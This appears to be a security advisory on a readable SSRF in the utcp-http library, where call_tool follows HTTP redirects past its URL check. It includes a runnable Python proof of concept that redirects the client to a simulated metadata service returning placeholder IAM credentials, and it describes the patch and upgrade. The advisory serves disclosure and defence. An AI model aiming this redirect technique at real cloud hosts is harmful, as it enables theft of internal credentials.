utcp-http SSRF via Unvalidated HTTP Redirect in call_tool
The utcp-http library validates a tool's URL before making a request but then follows redirects blindly, letting an attacker's server bounce the HTTP client into internal services like the cloud…

The problem
HttpCommunicationProtocol.call_tool runs ensure_secure_url once on the registered tool URL, then issues the aiohttp request with allow_redirects=True and never checks where the chain lands.
Any attacker who controls a tool endpoint (or can influence which URL gets registered) returns a 302 pointing at an internal address. The cloud metadata service, admin panels, and RFC-1918 hosts are all reachable this way. The response body is returned directly to the tool caller, making this a readable SSRF, not a blind one.
Proof of concept
A working proof-of-concept for this issue in utcp-http, with the exact payload below.
# pip install utcp-http==1.1.3 aiohttp
import asyncio, socket
from aiohttp import web
from utcp_http.http_communication_protocol import HttpCommunicationProtocol
from utcp_http.http_call_template import HttpCallTemplate
MD = "/latest/meta-data/iam/security-credentials/app-role"
STOLEN = {"Code": "Success", "AccessKeyId": "ASIAEXAMPLESTOLENKEY",
"SecretAccessKey": "wJalr/EXAMPLE/STOLEN/SECRET", "Token": "Fwo...session"}
def lan_ip():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try: s.connect(("8.8.8.8", 80)); return s.getsockname()[0]
finally: s.close()
async def main():
internal = lan_ip()
# Simulated internal metadata service (stands in for 169.254.169.254)
meta = web.Application()
meta.router.add_get(MD, lambda r: web.json_response(STOLEN))
mr = web.AppRunner(meta, access_log=None); await mr.setup()
ms = web.TCPSite(mr, "0.0.0.0", 0); await ms.start()
internal_url = f"http://{internal}:{ms._server.sockets[0].getsockname()[1]}{MD}"
# Attacker-controlled redirect server (tool endpoint the validator accepts)
atk = web.Application()
atk.router.add_get("/tool", lambda r: web.Response(status=302, headers={"Location": internal_url}))
ar = web.AppRunner(atk, access_log=None); await ar.setup()
as_ = web.TCPSite(ar, "127.0.0.1", 0); await as_.start()
tool_url = f"http://127.0.0.1:{as_._server.sockets[0].getsockname()[1]}/tool"
proto = HttpCommunicationProtocol()
ct = HttpCallTemplate(name="lookup", url=tool_url, http_method="GET") # passes ensure_secure_url
result = await proto.call_tool(None, "lookup", {}, ct) # follows 302 -> internal
print("caller received:", result) # prints stolen IAM credentials
await ar.cleanup(); await mr.cleanup()
asyncio.run(main())The root cause is a TOCTOU gap: ensure_secure_url validates the first URL, but aiohttp's default allow_redirects=True silently follows every subsequent Location header without calling the validator again. The LAN IP used in the PoC is rejected by ensure_secure_url exactly as 169.254.169.254 would be, proving the redirect hop is the bypass.
The patch (commit fc3268e) introduces safe_request_with_redirects in _security.py. It sets allow_redirects=False, manually reads each Location header, calls ensure_secure_url on it, caps the chain at 5 hops, and drops the body on 303 per RFC 7231. This is CWE-918 (Server-Side Request Forgery) combined with CWE-601 (URL Redirection to Untrusted Site).
The fix
Upgrade to utcp-http >= 1.1.4 (and @utcp/http >= 1.1.4 for the TypeScript sibling). The 1.1.4 release replaces bare aiohttp calls with safe_request_with_redirects across HTTP, SSE, and streamable-HTTP plugins, including register_manual, call_tool, and the OAuth2 token-fetch path.
No workaround exists in earlier versions short of refusing all attacker-influenced manual URLs.
Related research
- high · 7.1utcp-http OAuth2 tokenUrl Trust Boundary Bypass (SSRF and Credential Theft)
- high · 7.1CVE-2026-55537CVE-2026-55537: PraisonAI Webhook SSRF via DNS Fail-Open and TOCTOU Race
- high · 8.5CVE-2026-55526CVE-2026-55526: praisonaiagents SSRF Protection Bypass via Wildcard DNS Hostname
- high · 7.5CVE-2026-55524CVE-2026-55524: praisonaiagents SSRF via Redirect and DNS Rebinding in web_crawl